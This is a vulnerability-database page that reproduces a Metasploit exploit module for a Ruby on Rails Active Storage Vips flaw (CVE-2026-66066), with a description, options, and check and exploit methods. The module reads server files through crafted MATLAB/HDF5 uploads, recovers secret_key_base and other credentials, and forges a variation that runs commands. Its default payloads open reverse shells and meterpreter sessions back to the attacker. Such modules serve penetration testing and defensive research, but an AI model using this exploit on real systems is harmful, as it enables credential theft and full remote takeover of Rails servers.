Lucene search
+L

Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution

🗓️ 29 Jul 2026 00:00:00Reported by 0xacb, s3np41k1r1t0, castilho, RyotaK, Crypto-CatType 
metasploit
 metasploit
🔗 www.rapid7.com👁 8 Views

Rails Active Storage Vips file read and RCE via crafted MATLAB/HDF5 image from untrusted uploads.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-66066
3 Aug 202612:31
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
29 Jul 202621:08
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
29 Jul 202620:45
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
29 Jul 202616:10
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
4 Aug 202602:51
githubexploit
githubexploit
GithubExploit
BountySkiller
30 Jul 202619:32
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
30 Jul 202621:06
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
31 Jul 202616:51
githubexploit
akamaiblog
Akamai Blog
CVE-2026-66066: Defending Against the “KindaRails2Shell” Pre-Auth RCE
30 Jul 202608:00
akamaiblog
attackerkb
ATTACKERKB
CVE-2026-66066
30 Jul 202618:32
attackerkb
Rows per page
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HTTP::RailsActiveStorageVips
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution',
        'Description' => %q{
          This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when
          the application uses the Vips variant processor and accepts untrusted image
          uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text
          files accessible to the Rails worker through a PNG representation response.

          The module recovers secret_key_base from the process environment, Rails local
          secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then
          forges a serializer-compatible variation whose ImageProcessing apply step reaches
          Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when
          the Ruby target is selected. Neither path requires a Marshal object gadget. The
          Ruby target's initial code execution does not require a Unix shell or a fetch
          utility on the target.

          The file-read stage needs a genuine signed Active Storage variation key. It can use
          VARIATION_KEY directly, reuse a representation URL from the application, or create
          one through an application upload form. Supplying SECRET_KEY_BASE skips the
          arbitrary file-read stage and lets the module construct the standard
          representation route itself.

          The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1,
          Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in
          Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines an incomplete
          Vips-side fix for CVE-2025-24293 with ImageProcessing 1.x method dispatch;
          ImageProcessing 2.x blocks this chain.
        },
        'Author' => [
          '0xacb', # Vulnerability discovery and research
          's3np41k1r1t0', # Vulnerability discovery and research
          'castilho', # Vulnerability discovery and research
          'RyotaK', # Independent vulnerability discovery
          'Crypto-Cat' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-66066'],
          ['GHSA', 'xr9x-r78c-5hrm'],
          ['CVE', '2025-24293'],
          ['GHSA', 'r4mg-4433-c7g3'],
          ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'],
          ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'],
          ['URL', 'https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/'],
          ['URL', 'https://github.com/rails/rails/pull/56995'],
          ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'],
          ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066']
        ],
        'DisclosureDate' => '2026-07-29',
        'Privileged' => false,
        'Targets' => [
          [
            'Linux/Unix Command',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                # Auto-selection chooses an FTP adapter, but the framework does not
                # support its default FETCH_COMMAND (CURL) for FTP URLs.
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', # rubocop:disable Lint/ModuleDefaultPayload
                'FETCH_WRITABLE_DIR' => '/tmp',
                'FETCH_DELETE' => true
              }
            }
          ],
          [
            'Ruby',
            {
              'Platform' => 'ruby',
              'Arch' => ARCH_RUBY,
              'Type' => :ruby,
              'DefaultOptions' => {
                # Auto-selection chooses generic/shell_reverse_tcp, which does not
                # provide Ruby code for this eval target.
                'PAYLOAD' => 'ruby/shell_reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path to the Rails application', '/']),
        OptString.new('LANDINGURI', [true, 'Path to a page used for CSRF-token and representation discovery', '/']),
        OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']),
        OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']),
        OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']),
        OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]),
        OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]),
        OptString.new('VARIATION_KEY', [false, 'Known signed Active Storage variation key', nil]),
        OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips the arbitrary file-read stage', nil]),
        OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]),
        OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]),
        OptEnum.new('KEY_GENERATOR_DIGEST', [true, 'Rails key generator digest', 'auto', %w[auto sha256 sha1 sha384 sha512]]),
        OptEnum.new('VERIFIER_DIGEST', [true, 'Active Support message verifier HMAC digest', 'auto', %w[auto sha1 sha256 sha384 sha512]]),
        OptEnum.new('MESSAGE_SERIALIZER', [true, 'Compatible Active Support message serialization format', 'auto', %w[auto json marshal]])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', 65_536]),
        OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each Rails credentials or secrets file', 262_144]),
        OptInt.new('MaxReadRequests', [true, 'Maximum crafted file-read requests per check or exploit phase', 4096]),
        OptString.new('ExternalStorageOrigins', [false, 'Comma-separated trusted HTTP(S) origins for external storage requests', nil])
      ]
    )
  end

  def check
    reset_read_budget!
    validate_options!
    if datastore['SECRET_KEY_BASE'].present?
      secret_key_base = datastore['SECRET_KEY_BASE']
      @known_secret_context = context_from_known_secret(secret_key_base)
      verify_known_secret_context(@known_secret_context)
      @active_storage_service = report_active_storage_service
      return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested')
    end

    @read_context = detect_read_context
    @active_storage_service = report_active_storage_service
    vuln = {
      service: @active_storage_service,
      info: 'Confirmed arbitrary file read through an Active Storage representation'
    }.compact
    CheckCode::Vulnerable(
      "Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout",
      vuln: vuln
    )
  rescue ConfigError, DataError, FlowError, TriggerError, UnreachableError => e
    CheckCode::Unknown(e.message)
  end

  def exploit
    reset_read_budget!
    validate_options!
    context = if datastore['SECRET_KEY_BASE'].present?
                secret_key_base = datastore['SECRET_KEY_BASE']
                if @known_secret_context&.dig(:secret_key_base) == secret_key_base
                  @known_secret_context
                else
                  context_from_known_secret(secret_key_base).tap do |known_secret_context|
                    verify_known_secret_context(known_secret_context)
                  end
                end
              else
                read_context = @read_context ||= detect_read_context
                @active_storage_service = report_active_storage_service
                unless @vulnerability_reported
                  report_vuln(
                    host: rhost,
                    port: rport,
                    proto: 'tcp',
                    service: @active_storage_service,
                    name: fullname,
                    info: 'Confirmed arbitrary file read through an Active Storage representation',
                    refs: references
                  )
                end
                context_from_recovered_secret(read_context)
              end

    @active_storage_service = report_active_storage_service

    transformations = variation_transformations
    operation = transformations['send'].first
    print_status("Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}")
    path = forged_representation_path(context, transformations)
    trigger_variation(path)
  rescue ConfigError, DataError => e
    fail_with(Failure::BadConfig, e.message)
  rescue UnreachableError => e
    fail_with(Failure::Unreachable, e.message)
  rescue FlowError, TriggerError => e
    fail_with(Failure::UnexpectedReply, e.message)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2026 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 3.18.1
CVSS 49.5
EPSS0.27861
SSVC
8